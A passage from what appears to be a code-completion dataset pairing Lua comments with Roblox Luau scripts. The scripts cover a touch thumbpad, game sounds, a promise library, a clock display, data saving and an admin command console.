#shatterSounds)]\nIceShatter.Parent = Head\nIceShatter.PlaybackSpeed = 1\nIceShatter.Volume = 1.5\ngame.Debris:AddItem(IceShatter, 10)\ntask.delay(0, function() IceShatter:Play() end)\nIceShatter.Ended:Connect(function()\n\tif script then\n\t\tscript:Destroy()\n\tend\nend)\n"} +{"prompt": "--[[ Public API ]]", "completion": "--\nfunction Thumbpad:Enable()\n\tThumbpadFrame.Visible = true\nend\n\nfunction Thumbpad:Disable()\n\tThumbpadFrame.Visible = false\n\tOnInputEnded()\nend\n\nfunction Thumbpad:Create(parentFrame)\n\tif ThumbpadFrame then\n\t\tThumbpadFrame:Destroy()\n\t\tThumbpadFrame = nil\n\t\tif OnTouchChangedCn then\n\t\t\tOnTouchChangedCn:disconnect()\n\t\t\tOnTouchChangedCn = nil\n\t\tend\n\t\tif OnTouchEndedCn then\n\t\t\tOnTouchEndedCn:disconnect()\n\t\t\tOnTouchEndedCn = nil\n\t\tend\n\tend\n\t\n\tlocal isSmallScreen = parentFrame.AbsoluteSize.y <= 500\n\tlocal thumbpadSize = isSmallScreen and 70 or 120\n\tlocal position = isSmallScreen and UDim2.new(0, thumbpadSize * 1.25, 1, -thumbpadSize - 20) or\n\t\tUDim2.new(0, thumbpadSize/2 - 10, 1, -thumbpadSize * 1.75 - 10)\n\t\n\tThumbpadFrame = Instance.new('Frame')\n\tThumbpadFrame.Name = \"ThumbpadFrame\"\n\tThumbpadFrame.Visible = false\n\tThumbpadFrame.Active = true\n\tThumbpadFrame.Size = UDim2.new(0, thumbpadSize + 20, 0, thumbpadSize + 20)\n\tThumbpadFrame.Position = position\n\tThumbpadFrame.BackgroundTransparency = 1\n\t\n\tlocal outerImage = Instance.new('ImageLabel')\n\touterImage.Name = \"OuterImage\"\n\touterImage.Image = TOUCH_CONTROL_SHEET\n\touterImage.ImageRectOffset = Vector2.new(0, 0)\n\touterImage.ImageRectSize = Vector2.new(220, 220)\n\touterImage.BackgroundTransparency = 1\n\touterImage.Size = UDim2.new(0, thumbpadSize, 0, thumbpadSize)\n\touterImage.Position = UDim2.new(0, 10, 0, 10)\n\touterImage.Parent = ThumbpadFrame\n\t\n\tlocal smArrowSize = isSmallScreen and UDim2.new(0, 32, 0, 32) or UDim2.new(0, 64, 0, 64)\n\tlocal lgArrowSize = UDim2.new(0, smArrowSize.X.Offset * 2, 0, smArrowSize.Y.Offset * 2)\n\tlocal imgRectSize = Vector2.new(110, 110)\n\tlocal smImgOffset = isSmallScreen and -4 or -9\n\tlocal lgImgOffset = isSmallScreen and -28 or -55\n\t\n\tlocal dArrow = createArrowLabel(\"DownArrow\", outerImage, UDim2.new(0.5, -smArrowSize.X.Offset/2, 1, lgImgOffset), smArrowSize, Vector2.new(8, 8), imgRectSize)\n\tlocal uArrow = createArrowLabel(\"UpArrow\", outerImage, UDim2.new(0.5, -smArrowSize.X.Offset/2, 0, smImgOffset), smArrowSize, Vector2.new(8, 266), imgRectSize)\n\tlocal lArrow = createArrowLabel(\"LeftArrow\", outerImage, UDim2.new(0, smImgOffset, 0.5, -smArrowSize.Y.Offset/2), smArrowSize, Vector2.new(137, 137), imgRectSize)\n\tlocal rArrow = createArrowLabel(\"RightArrow\", outerImage, UDim2.new(1, lgImgOffset, 0.5, -smArrowSize.Y.Offset/2), smArrowSize, Vector2.new(8, 137), imgRectSize)\n\t\n\tlocal function doTween(guiObject, endSize, endPosition)\n\t\tguiObject:TweenSizeAndPosition(endSize, endPosition, Enum.EasingDirection.InOut, Enum.EasingStyle.Linear, 0.15, true)\n\tend\n\t\n\tlocal padOrigin = nil\n\tlocal deadZone = 0.1\n\tlocal isRight, isLeft, isUp, isDown = false, false, false, false\n\tlocal vForward = Vector3.new(0, 0, -1)\n\tlocal vRight = Vector3.new(1, 0, 0)\n\tlocal function doMove(pos)\n\t\tMasterControl:AddToPlayerMovement(-currentMoveVector)\n\t\t\n\t\tlocal delta = Vector2.new(pos.x, pos.y) - padOrigin\n\t\tcurrentMoveVector = delta / (thumbpadSize/2)\n\t\t\n\t\t-- Scaled Radial Dead Zone\n\t\tlocal inputAxisMagnitude = currentMoveVector.magnitude\n\t\tif inputAxisMagnitude < deadZone then\n\t\t\tcurrentMoveVector = Vector3.new(0, 0, 0)\n\t\telse\n\t\t\tcurrentMoveVector = currentMoveVector.unit * ((inputAxisMagnitude - deadZone) / (1 - deadZone))\n\t\t\t-- catch possible NAN Vector\n\t\t\tif currentMoveVector.magnitude == 0 then\n\t\t\t\tcurrentMoveVector = Vector3.new(0, 0, 0)\n\t\t\telse\n\t\t\t\tcurrentMoveVector = Vector3.new(currentMoveVector.x, 0, currentMoveVector.y).unit\n\t\t\tend\n\t\tend\n\t\t\n\t\tMasterControl:AddToPlayerMovement(currentMoveVector)\n\t\t\n\t\tlocal forwardDot = currentMoveVector:Dot(vForward)\n\t\tlocal rightDot = currentMoveVector:Dot(vRight)\n\t\tif forwardDot > 0.5 then\t\t-- UP\n\t\t\tif not isUp then\n\t\t\t\tisUp, isDown = true, false\n\t\t\t\tdoTween(uArrow, lgArrowSize, UDim2.new(0.5, -smArrowSize.X.Offset, 0, smImgOffset - smArrowSize.Y.Offset * 1.5))\n\t\t\t\tdoTween(dArrow, smArrowSize, UDim2.new(0.5, -smArrowSize.X.Offset/2, 1, lgImgOffset))\n\t\t\tend\n\t\telseif forwardDot < -0.5 then\t-- DOWN\n\t\t\tif not isDown then\n\t\t\t\tisDown, isUp = true, false\n\t\t\t\tdoTween(dArrow, lgArrowSize, UDim2.new(0.5, -smArrowSize.X.Offset, 1, lgImgOffset + smArrowSize.Y.Offset/2))\n\t\t\t\tdoTween(uArrow, smArrowSize, UDim2.new(0.5, -smArrowSize.X.Offset/2, 0, smImgOffset))\n\t\t\tend\n\t\telse\n\t\t\tisUp, isDown = false, false\n\t\t\tdoTween(dArrow, smArrowSize, UDim2.new(0.5, -smArrowSize.X.Offset/2, 1, lgImgOffset))\n\t\t\tdoTween(uArrow, smArrowSize, UDim2.new(0.5, -smArrowSize.X.Offset/2, 0, smImgOffset))\n\t\tend\n\t\t\n\t\tif rightDot > 0.5 then\n\t\t\tif not isRight then\n\t\t\t\tisRight, isLeft = true, false\n\t\t\t\tdoTween(rArrow, lgArrowSize, UDim2.new(1, lgImgOffset + smArrowSize.X.Offset/2, 0.5, -smArrowSize.Y.Offset))\n\t\t\t\tdoTween(lArrow, smArrowSize, UDim2.new(0, smImgOffset, 0.5, -smArrowSize.Y.Offset/2))\n\t\t\tend\n\t\telseif rightDot < -0.5 then\n\t\t\tif not isLeft then\n\t\t\t\tisLeft, isRight = true, false\n\t\t\t\tdoTween(lArrow, lgArrowSize, UDim2.new(0, smImgOffset - smArrowSize.X.Offset * 1.5, 0.5, -smArrowSize.Y.Offset))\n\t\t\t\tdoTween(rArrow, smArrowSize, UDim2.new(1, lgImgOffset, 0.5, -smArrowSize.Y.Offset/2))\n\t\t\tend\n\t\telse\n\t\t\tisRight, isLeft = false, false\n\t\t\tdoTween(lArrow, smArrowSize, UDim2.new(0, smImgOffset, 0.5, -smArrowSize.Y.Offset/2))\n\t\t\tdoTween(rArrow, smArrowSize, UDim2.new(1, lgImgOffset, 0.5, -smArrowSize.Y.Offset/2))\n\t\tend\n\tend\n\t\n\t--input connections\n\tThumbpadFrame.InputBegan:connect(function(inputObject)\n\t\tif TouchObject or inputObject.UserInputType ~= Enum.UserInputType.Touch then\n\t\t\treturn\n\t\tend\n\t\t\n\t\tThumbpadFrame.Position = UDim2.new(0, inputObject.Position.x - ThumbpadFrame.AbsoluteSize.x/2, 0, inputObject.Position.y - ThumbpadFrame.Size.Y.Offset/2)\n\t\tpadOrigin = Vector2.new(ThumbpadFrame.AbsolutePosition.x + ThumbpadFrame.AbsoluteSize.x/2,\n\t\t\tThumbpadFrame.AbsolutePosition.y + ThumbpadFrame.AbsoluteSize.y/2)\n\t\tdoMove(inputObject.Position)\n\t\tTouchObject = inputObject\n\tend)\n\t\n\tOnTouchChangedCn = UserInputService.TouchMoved:connect(function(inputObject, isProcessed)\n\t\tif inputObject == TouchObject then\n\t\t\tdoMove(TouchObject.Position)\n\t\tend\n\tend)\n\t\n\tOnInputEnded = function()\n\t\tMasterControl:AddToPlayerMovement(-currentMoveVector)\n\t\tcurrentMoveVector = Vector3.new(0,0,0)\n\t\tMasterControl:SetIsJumping(false)\n\n\t\tThumbpadFrame.Position = position\n\t\tTouchObject = nil\n\t\tisUp, isDown, isLeft, isRight = false, false, false, false\n\t\tdoTween(dArrow, smArrowSize, UDim2.new(0.5, -smArrowSize.X.Offset/2, 1, lgImgOffset))\n\t\tdoTween(uArrow, smArrowSize, UDim2.new(0.5, -smArrowSize.X.Offset/2, 0, smImgOffset))\n\t\tdoTween(lArrow, smArrowSize, UDim2.new(0, smImgOffset, 0.5, -smArrowSize.Y.Offset/2))\n\t\tdoTween(rArrow, smArrowSize, UDim2.new(1, lgImgOffset, 0.5, -smArrowSize.Y.Offset/2))\n\tend\n\t\n\tOnTouchEndedCn = UserInputService.TouchEnded:connect(function(inputObject)\n\t\tif inputObject == TouchObject then\n\t\t\tOnInputEnded()\n\t\tend\n\tend)\n\t\n\tGuiService.MenuOpened:connect(function()\n\t\tif TouchObject then\n\t\t\tOnInputEnded()\n\t\tend\n\tend)\t\n\t\n\tThumbpadFrame.Parent = parentFrame\nend\n\nreturn Thumbpad\n"} +{"prompt": "-- Roblox NPC sound script", "completion": "\n\nlocal Players = game:GetService(\"Players\")\nlocal RunService = game:GetService(\"RunService\")\n\nlocal SOUND_DATA = {\n\tClimbing = {\n\t\tSoundId = \"rbxasset://sounds/action_footsteps_plastic.mp3\",\n\t\tLooped = true,\n\t},\n\tDied = {\n\t\tSoundId = \"rbxassetid://3361342315\",\n\t},\n\tFreeFalling = {\n\t\tSoundId = \"rbxasset://sounds/action_falling.mp3\",\n\t\tLooped = true,\n\t},\n\tGettingUp = {\n\t\tSoundId = \"rbxasset://sounds/action_get_up.mp3\",\n\t},\n\tJumping = {\n\t\tSoundId = \"rbxasset://sounds/action_jump.mp3\",\n\t},\n\tLanding = {\n\t\tSoundId = \"rbxasset://sounds/action_jump_land.mp3\",\n\t},\n\tRunning = {\n\t\tSoundId = \"rbxasset://sounds/action_footsteps_plastic.mp3\",\n\t\tLooped = true,\n\t\tPitch = 1.85,\n\t},\n\tSplash = {\n\t\tSoundId = \"rbxasset://sounds/impact_water.mp3\",\n\t},\n\tSwimming = {\n\t\tSoundId = \"rbxasset://sounds/action_swim.mp3\",\n\t\tLooped = true,\n\t\tPitch = 1.6,\n\t},\n}\n"} +{"prompt": "-- this script removes its parent from the workspace after 29 to 30 seconds", "completion": "\n\nfunction rnd1()\n\tlocal i = math.random(-5000,5000)*.001\n\treturn i\nend\n\nfunction rnd2()\n\tlocal i = math.random(-12500,12500)*.001\n\treturn i\nend\n\nfunction rnd3()\n\tlocal i = math.random(12500,25000)*.001\n\treturn i\nend\n\nwait(1+math.random(20000,20000)*.001)\nscript.Parent:BreakJoints()\nscript.Parent.CanCollide = false\nscript.Parent.Velocity = Vector3.new(rnd2(),rnd3(),rnd2())\nscript.Parent.RotVelocity = Vector3.new(rnd1(),rnd2(),rnd1())\nfor i = 0, 1, .1 do\n\twait()\n\tscript.Parent.Transparency = i\nend\nscript.Parent.Parent = nil\n"} +{"prompt": "--sounds", "completion": "\nsoundsdisabledfromrefit = {\"\"}\nlocal boltpsound = Instance.new(\"Sound\", handle)\nboltpsound.SoundId = \"rbxassetid://456267525\"\nboltpsound.Volume = 0.8\nboltpsound.Name = \"boltpsound\"\nboltpsound.RollOffMinDistance = 1\nboltpsound.RollOffMaxDistance = 300\nlocal shellsound = Instance.new(\"Sound\", handle)\nshellsound.SoundId = \"rbxassetid://2712533735\"\nshellsound.Volume = 0.5\nshellsound.Name = \"shellsound\"\nshellsound.RollOffMinDistance = 1\nshellsound.RollOffMaxDistance = 300\nlocal magoutsound = Instance.new(\"Sound\", handle)\nmagoutsound.SoundId = \"rbxassetid://268445237\"\nmagoutsound.Volume = 0.8\nmagoutsound.Name = \"magoutsound\"\nmagoutsound.RollOffMinDistance = 1\nmagoutsound.RollOffMaxDistance = 300\nlocal maginsound = Instance.new(\"Sound\", handle)\nmaginsound.SoundId = \"rbxassetid://2546411966\"\nmaginsound.Volume = 0.8\nmaginsound.Name = \"magoutsound\"\nmaginsound.RollOffMinDistance = 1\nmaginsound.RollOffMaxDistance = 300\nlocal magreachsound = Instance.new(\"Sound\", handle)\nmagreachsound.SoundId = \"rbxassetid://7329457810\"\nmagreachsound.Volume = 3\nmagreachsound.Name = \"magreachsound\"\nmagreachsound.RollOffMinDistance = 1\nmagreachsound.RollOffMaxDistance = 300\nlocal shootsound = Instance.new(\"Sound\", handle)\nshootsound.SoundId = \"rbxassetid://6530496628\"\nshootsound.Volume = 1.5\nshootsound.Name = \"shootsound\"\nshootsound.RollOffMinDistance = 1\nshootsound.RollOffMaxDistance = 300\nconcretesoundtick = tick()\nlocal hitconcrete = Instance.new(\"Sound\", handle)\nhitconcrete.SoundId = \"rbxassetid://6962153997\"\nhitconcrete.Volume = 1\nhitconcrete.Name = \"hitcsound\"\nhitconcrete.RollOffMinDistance = 1\nhitconcrete.RollOffMaxDistance = 200\nhitcsounds = {\"6962154328\", \"6962154691\", \"6962155378\", \"6962153997\"}\n\nfunction playsound(sound, timep, playbacks, volume)\n\tpcall(function() -- so the script wont die if someone renames sounds/attempts to play something that isnt a sound\n\t\tsound.TimePosition = timep\n\t\tsound.PlaybackSpeed = playbacks\n\t\tsound.Volume = volume\n\t\tsound:Play()\n\tend)\nend\n"} +{"prompt": "-- Return the number of common items that follow in forward direction.\n-- The length of what Myers paper calls a \u201csnake\u201d in a forward path.", "completion": "\nlocal function countCommonItemsF(aIndex: number, aEnd: number, bIndex: number, bEnd: number, isCommon: IsCommon): number\n\tlocal nCommon = 0\n\twhile aIndex < aEnd and bIndex < bEnd and isCommon(aIndex, bIndex) do\n\t\taIndex += 1\n\t\tbIndex += 1\n\t\tnCommon += 1\n\tend\n\treturn nCommon\nend\n"} +{"prompt": "--[[\n\tReturns a new promise that:\n\t\t* is resolved when all input promises resolve\n\t\t* is rejected if ANY input promises reject\n]]", "completion": "\nfunction Promise.all(promises)\n\tif type(promises) ~= \"table\" then\n\t\terror(\"Please pass a list of promises to Promise.all\", 2)\n\tend\n\n\t-- If there are no values then return an already resolved promise.\n\tif #promises == 0 then\n\t\treturn Promise.resolve({})\n\tend\n\n\t-- We need to check that each value is a promise here so that we can produce\n\t-- a proper error rather than a rejected promise with our error.\n\tfor i = 1, #promises do\n\t\tif not Promise.is(promises[i]) then\n\t\t\terror((\"Non-promise value passed into Promise.all at index #%d\"):format(i), 2)\n\t\tend\n\tend\n\n\treturn Promise.new(function(resolve, reject)\n\t\t-- An array to contain our resolved values from the given promises.\n\t\tlocal resolvedValues = {}\n\n\t\t-- Keep a count of resolved promises because just checking the resolved\n\t\t-- values length wouldn't account for promises that resolve with nil.\n\t\tlocal resolvedCount = 0\n\n\t\t-- Called when a single value is resolved and resolves if all are done.\n\t\tlocal function resolveOne(i, ...)\n\t\t\tresolvedValues[i] = ...\n\t\t\tresolvedCount = resolvedCount + 1\n\n\t\t\tif resolvedCount == #promises then\n\t\t\t\tresolve(resolvedValues)\n\t\t\tend\n\t\tend\n\n\t\t-- We can assume the values inside `promises` are all promises since we\n\t\t-- checked above.\n\t\tfor i = 1, #promises do\n\t\t\tpromises[i]:andThen(\n\t\t\t\tfunction(...)\n\t\t\t\t\tresolveOne(i, ...)\n\t\t\t\tend,\n\t\t\t\tfunction(...)\n\t\t\t\t\treject(...)\n\t\t\t\tend\n\t\t\t)\n\t\tend\n\tend)\nend\n"} +{"prompt": "--\t\t{\"MONTH\", TOAL DAYS TO YEAR, DAYS}\t<- Format", "completion": "\n\t\t{\"January\",31,31};\n\t\t{\"February\",59,28};\n\t\t{\"March\",90,31};\n\t\t{\"April\",120,30};\n\t\t{\"May\",151,31};\n\t\t{\"June\",181,30};\n\t\t{\"July\",212,31};\n\t\t{\"August\",243,31};\n\t\t{\"September\",273,30};\n\t\t{\"October\",304,31};\n\t\t{\"November\",334,30};\n\t\t{\"December\",365,31};\n\t}\n\tyear = math.floor(1970+(t/31579200))\n\tif ((year%4) == 0) then\t-- Check for leap year\n\t\tmonths[2][3] = 29\n\t\tfor i,v in pairs(months) do\n\t\t\tif (i ~= 1) then\n\t\t\t\tv[2] = (v[2]+1)\n\t\t\tend\n\t\tend\n\tend\n\tday = math.floor(((t/86400)%365.25)+1)\t-- Get current day of the year. Starts at 0, so 1 is added\t(365.25 is the average # of days in a year due to leap year)\n\tfor i,m in pairs(months) do\n\t\tif ((m[2]-m[3]) <= day) then\t-- Get month based on day\n\t\t\tmonth = i\n\t\tend\n\tend\n\tlocal m = months[month]\n\tday = (day+m[3]-m[2])\t-- Get day of the month\n\tyear,day = tostring(year),tostring(day)\n\tlocal c,s = \", \",\" \"\t-- Comma, space\n\tDate = (months[month][1] .. s .. day .. c .. year)\nend\n\nfunction getTime()\n\tlocal min = math.floor((t/60)%60)\n\tlocal hour = math.floor((t/3600)%24)\n\tmin = tostring((min < 10 and \"0\" or \"\") .. min)\n\ttag = (Type == 0 and (hour < 24 and \"\" or \"\") or \"\")\n\thour = ((Type == 1 and hour < 24 and \"0\" or \"\") .. tostring(Type == 0 and (hour == 0 and 24 or hour > 24 and (hour-24) or hour) or hour))\t-- Ternary operators FTW. Helps get rid of 'if then' stuff. Actually learned this off of Java programming:\tz = (x == y ? \"Yes\" : \"No\")\n\tlocal c,s = \":\",(Type == 0 and \" \" or \"\")\t-- Colon, (space if 12 hr clock)\n\tTime = (hour .. c .. min .. (Sec and \"\") .. s .. tag)\nend\n\nfunction display(start)\n\tif (start) then\n\t\tgetDate()\n\t\tgetTime()\n\t\tdelay(0,function()\n\t\t\tfor i = 1,0,-0.05 do\n\t\t\t\tscript.Parent.Time.TextTransparency,script.Parent.Date.TextTransparency = i,i\n\t\t\t\twait()\n\t\t\tend\n\t\t\tscript.Parent.Time.TextTransparency,script.Parent.Date.TextTransparency = 0,0\n\t\tend)\n\tend\n\tscript.Parent.Time.Text = Time\t-- ORLY?\n\tscript.Parent.Date.Text = Date\nend\n\n\n\nfunction start()\n\t\n\tdisplay(true)\n\twhile (true) do\n\t\t-- Simplicity FTW:\n\t\tt = tick()\n\t\tgetDate()\n\t\tgetTime()\n\t\tdisplay()\n\t\twait()\n\tend\nend\n\nstart()\n"} +{"prompt": "-- Don't mess with anything in the script. The constants and variables are all mixed together", "completion": "\n\nlocal Type = 0\t\t-- Manipulated by GUI\t(0 = 12 hr, 1 = 24 hr)\nlocal Sec = true\t-- Manipulated by GUI\n\nlocal year = 1970\nlocal month = 1\nlocal day = 1\nlocal Date = \"January 1, 1970\"\n\nlocal hour = 0\nlocal min = 0\nlocal tag = \"AM\"\nlocal Time = \"12:00 AM\"\n\nfunction getDate()\n\tlocal months = {"} +{"prompt": "--All loading and saving data should be done in this module\n--Currently uses DataPersistence but could be changed to use a DataStore easily", "completion": "\nlocal dataHandler = {}\n\nlocal function recurLoadNumber(key, player, depth)\n\tlocal ok, number = pcall(function() return player:LoadNumber(key) end)\n\tif not ok or number == 0 then\n\t\tif depth >= 5 then\n\t\t\treturn number\n\t\telse\n\t\t\treturn recurLoadNumber(key, player, depth + 1)\n\t\tend\n\tend\n\treturn number\nend\n\nlocal function recurSaveNumber(key, player, depth, value)\n\tlocal ok = pcall(function() player:SaveNumber(key, value) end)\n\tif not ok then\n\t\tif depth < 5 then\n\t\t\treturn recurSaveNumber(key, player, depth + 1, value)\n\t\tend\n\tend\nend\n\nfunction dataHandler:LoadNumber(player, key)\n\treturn recurLoadNumber(key, player, 0)\nend\n\nfunction dataHandler:SaveNumber(player, key, value)\n\treturn recurSaveNumber(key, player, 0, value)\nend\n\nreturn dataHandler\n"} +{"prompt": "-- API", "completion": "\nlocal Core = require(Tool.Core)\nlocal Selection = Core.Selection\n"} +{"prompt": "--// All global vars will be wiped/replaced except script", "completion": "\n\nreturn function(data)\n\tlocal playergui = service.PlayerGui\n\tlocal localplayer = service.Players.LocalPlayer\n\tlocal scr = client.UI.Prepare(script.Parent.Parent)\n\tlocal main = scr.Main\n\tlocal t1 = main.Title\n\tlocal t2 = main.Message\n\tlocal msg = data.Message\n\tlocal color = data.Color\n\t--[[\n\tlocal found = client.UI.Get(\"Output\")\n\tif found then\n\t\tfor i,v in pairs(found) do\n\t\t\tlocal p = v.Object\n\t\t\tif p and p.Parent then\n\t\t\t\tp.Main.Position = UDim2.new(0, 0, 0.35, p.Main.Position.Y.Offset+50)\n\t\t\tend\n\t\tend\n\tend--]]\n\n\tt2.Text = msg\n\tt2.Font = \"Arial\"\n\t--t2.Position = UDim2.new(0, 0, 0.35, 0)\n\tgTable.Ready()\n\twait(5)\n\tgTable.Destroy()\nend\n"} +{"prompt": "--// All global vars will be wiped/replaced except script\n--// All guis are autonamed codeName..gui.Name", "completion": "\n\nreturn function(data)\n\tlocal player = service.Players.LocalPlayer\n\tlocal playergui = player.PlayerGui\n\tlocal gui = script.Parent.Parent\n\tlocal frame = gui.Frame\n\tlocal text = gui.Frame.TextBox\n\tlocal scroll = gui.Frame.ScrollingFrame\n\tlocal players = gui.Frame.PlayerList\n\tlocal entry = gui.Entry\n\tlocal BindEvent = gTable.BindEvent\n\n\tlocal opened = false\n\tlocal scrolling = false\n\tlocal debounce = false\n\tlocal settings = client.Remote.Get(\"Setting\",{\"SplitKey\",\"ConsoleKeyCode\",\"BatchKey\",\"Prefix\"})\n\tlocal splitKey = settings.SplitKey\n\tlocal consoleKey = settings.ConsoleKeyCode\n\tlocal batchKey = settings.BatchKey\n\tlocal prefix = settings.Prefix\n\tlocal commands = client.Remote.Get('FormattedCommands') or {}\n\n\tlocal tweenInfo = TweenInfo.new(0.15)----service.SafeTweenSize(frame,UDim2.new(1,0,0,40),nil,nil,0.3,nil,function() if scrollOpen then frame.Size = UDim2.new(1,0,0,140) end end)\n\tlocal scrollOpenTween = service.TweenService:Create(frame, tweenInfo, {\n\t\tSize = UDim2.new(1, 0, 0, 140);\n\t})\n\n\tlocal scrollCloseTween = service.TweenService:Create(frame, tweenInfo, {\n\t\tSize = UDim2.new(1, 0, 0, 40);\n\t})\n\n\tlocal consoleOpenTween = service.TweenService:Create(frame, tweenInfo, {\n\t\tPosition = UDim2.new(0, 0, 0, 0);\n\t})\n\n\tlocal consoleCloseTween = service.TweenService:Create(frame, tweenInfo, {\n\t\tPosition = UDim2.new(0, 0, 0, -200);\n\t})\n\n\tframe.Position = UDim2.new(0,0,0,-200)\n\tframe.Visible = false\n\tframe.Size = UDim2.new(1,0,0,40)\n\tscroll.Visible = false\n\n\tif client.Variables.ConsoleOpen then\n\t\tif client.Variables.ChatEnabled then\n\t\t\tservice.StarterGui:SetCoreGuiEnabled(\"Chat\",true)\n\t\tend\n\n\t\tif client.Variables.PlayerListEnabled then\n\t\t\tservice.StarterGui:SetCoreGuiEnabled('PlayerList',true)\n\t\tend\n\t\tif client.UI.Get(\"Notif\") then\n\t\t\tclient.UI.Get(\"Notif\",nil,true).Object.LABEL.Visible = true\n\t\tend\n\n\t\tlocal scr = client.UI.Get(\"Chat\",nil,true)\n\t\tif scr then scr.Object.Drag.Visible = true end\n\n\t\tlocal scr = client.UI.Get(\"PlayerList\",nil,true)\n\t\tif scr then scr.Object.Drag.Visible = true end\n\n\t\tlocal scr = client.UI.Get(\"HintHolder\",nil,true)\n\t\tif scr then scr.Object.Frame.Visible = true end\n\tend\n\n\tclient.Variables.ChatEnabled = service.StarterGui:GetCoreGuiEnabled(\"Chat\")\n\tclient.Variables.PlayerListEnabled = service.StarterGui:GetCoreGuiEnabled('PlayerList')\n\n\tlocal function close()\n\t\tif gui:IsDescendantOf(game) and not debounce then\n\t\t\tdebounce = true\n\t\t\tscroll:ClearAllChildren()\n\t\t\tscroll.CanvasSize = UDim2.new(0,0,0,0)\n\t\t\tscroll.ScrollingEnabled = false\n\t\t\tframe.Size = UDim2.new(1,0,0,40)\n\t\t\tscroll.Visible = false\n\t\t\tplayers.Visible = false\n\t\t\tscrollOpen = false\n\n\t\t\tif client.Variables.ChatEnabled then\n\t\t\t\tservice.StarterGui:SetCoreGuiEnabled(\"Chat\",true)\n\t\t\tend\n\n\t\t\tif client.Variables.PlayerListEnabled then\n\t\t\t\tservice.StarterGui:SetCoreGuiEnabled('PlayerList',true)\n\t\t\tend\n\n\t\t\tif client.UI.Get(\"Notif\") then\n\t\t\t\tclient.UI.Get(\"Notif\",nil,true).Object.LABEL.Visible = true\n\t\t\tend\n\n\t\t\tlocal scr = client.UI.Get(\"Chat\",nil,true)\n\t\t\tif scr then scr.Object.Drag.Visible = true end\n\n\t\t\tlocal scr = client.UI.Get(\"PlayerList\",nil,true)\n\t\t\tif scr then scr.Object.Drag.Visible = true end\n\n\t\t\tlocal scr = client.UI.Get(\"HintHolder\",nil,true)\n\t\t\tif scr then scr.Object.Frame.Visible = true end\n\n\t\t\tconsoleCloseTween:Play();\n\t\t\t--service.SafeTweenPos(frame,UDim2.new(0,0,0,-200),'Out','Linear',0.2,true)\n\t\t\t--frame:TweenPosition(UDim2.new(0,0,0,-200),'Out','Linear',0.2,true)\n\t\t\tdebounce = false\n\t\t\topened = false\n\t\tend\n\tend\n\n\tlocal function open()\n\t\tif gui:IsDescendantOf(game) and not debounce then\n\t\t\tdebounce = true\n\t\t\tclient.Variables.ChatEnabled = service.StarterGui:GetCoreGuiEnabled(\"Chat\")\n\t\t\tclient.Variables.PlayerListEnabled = service.StarterGui:GetCoreGuiEnabled('PlayerList')\n\n\t\t\tservice.StarterGui:SetCoreGuiEnabled(\"Chat\",false)\n\t\t\tservice.StarterGui:SetCoreGuiEnabled('PlayerList',false)\n\n\t\t\tscroll.ScrollingEnabled = true\n\t\t\tplayers.ScrollingEnabled = true\n\n\t\t\tif client.UI.Get(\"Notif\") then\n\t\t\t\tclient.UI.Get(\"Notif\",nil,true).Object.LABEL.Visible = false\n\t\t\tend\n\n\t\t\tlocal scr = client.UI.Get(\"Chat\",nil,true)\n\t\t\tif scr then scr.Object.Drag.Visible = false end\n\n\t\t\tlocal scr = client.UI.Get(\"PlayerList\",nil,true)\n\t\t\tif scr then scr.Object.Drag.Visible = false end\n\n\t\t\tlocal scr = client.UI.Get(\"HintHolder\",nil,true)\n\t\t\tif scr then scr.Object.Frame.Visible = false end\n\n\t\t\tconsoleOpenTween:Play();\n\n\t\t\tframe.Size = UDim2.new(1,0,0,40)\n\t\t\tscroll.Visible = false\n\t\t\tplayers.Visible = false\n\t\t\tscrollOpen = false\n\t\t\ttext.Text = ''\n\t\t\tframe.Visible = true\n\t\t\tframe.Position = UDim2.new(0,0,0,0)\n\t\t\ttext:CaptureFocus()\n\t\t\ttext.Text = ''\n\t\t\twait()\n\t\t\ttext.Text = ''\n\t\t\tdebounce = false\n\t\t\topened = true\n\t\tend\n\tend\n\n\ttext.FocusLost:Connect(function(enterPressed)\n\t\tif enterPressed then\n\t\t\tif text.Text~='' and string.len(text.Text)>1 then\n\t\t\t\tspawn(function()\n\t\t\t\t\tlocal sound = Instance.new(\"Sound\",service.LocalContainer())\n\t\t\t\t\tsound.SoundId = \"rbxassetid://669596713\"\n\t\t\t\t\tsound.Volume = 0.2\n\t\t\t\t\tsound:Play()\n\t\t\t\t\twait(0.5)\n\t\t\t\t\tsound:Destroy()\n\t\t\t\tend)\n\t\t\t\tclient.Remote.Send('ProcessCommand',text.Text)\n\t\t\tend\n\t\tend\n\n\t\tclose()\n\tend)\n\n\ttext.Changed:Connect(function(c)\n\t\tif c == 'Text' and text.Text ~= '' and open then\n\t\t\tif string.sub(text.Text, string.len(text.Text)) == \"\t\" then\n\t\t\t\tif players:FindFirstChild(\"Entry 0\") then\n\t\t\t\t\ttext.Text = (string.sub(text.Text, 1, (string.len(text.Text) - 1))..players[\"Entry 0\"].Text)..\" \"\n\t\t\t\telseif scroll:FindFirstChild(\"Entry 0\") then\n\t\t\t\t\ttext.Text = string.split(scroll[\"Entry 0\"].Text, \"<\")[1]\n\t\t\t\telse\n\t\t\t\t\ttext.Text = text.Text..prefix\n\t\t\t\tend\n\t\t\t\ttext.CursorPosition = string.len(text.Text) + 1\n\t\t\t\ttext.Text = string.gsub(text.Text, \"\t\", \"\")\n\t\t\tend\n\t\t\tscroll:ClearAllChildren()\n\t\t\tplayers:ClearAllChildren()\n\n\t\t\tlocal nText = text.Text\n\t\t\tif string.match(nText,\".*\"..batchKey..\"([^']+)\") then\n\t\t\t\tnText = string.match(nText,\".*\"..batchKey..\"([^']+)\")\n\t\t\t\tnText = string.match(nText,\"^%s*(.-)%s*$\")\n\t\t\tend\n\n\t\t\tlocal pNum = 0\n\t\t\tlocal pMatch = string.match(nText,\".+\"..splitKey..\"(.*)$\")\n\t\t\tfor i,v in next,service.Players:GetPlayers() do\n\t\t\t\tif (pMatch and string.sub(string.lower(tostring(v)),1,#pMatch) == string.lower(pMatch)) or string.match(nText,splitKey..\"$\") then\n\t\t\t\t\tlocal new = entry:Clone()\n\t\t\t\t\tnew.Text = tostring(v)\n\t\t\t\t\tnew.Name = \"Entry \"..pNum\n\t\t\t\t\tnew.TextXAlignment = \"Right\"\n\t\t\t\t\tnew.Visible = true\n\t\t\t\t\tnew.Parent = players\n\t\t\t\t\tnew.Position = UDim2.new(0,0,0,20*pNum)\n\t\t\t\t\tnew.MouseButton1Down:Connect(function()\n\t\t\t\t\t\ttext.Text = text.Text..tostring(v)\n\t\t\t\t\t\ttext:CaptureFocus()\n\t\t\t\t\tend)\n\t\t\t\t\tpNum = 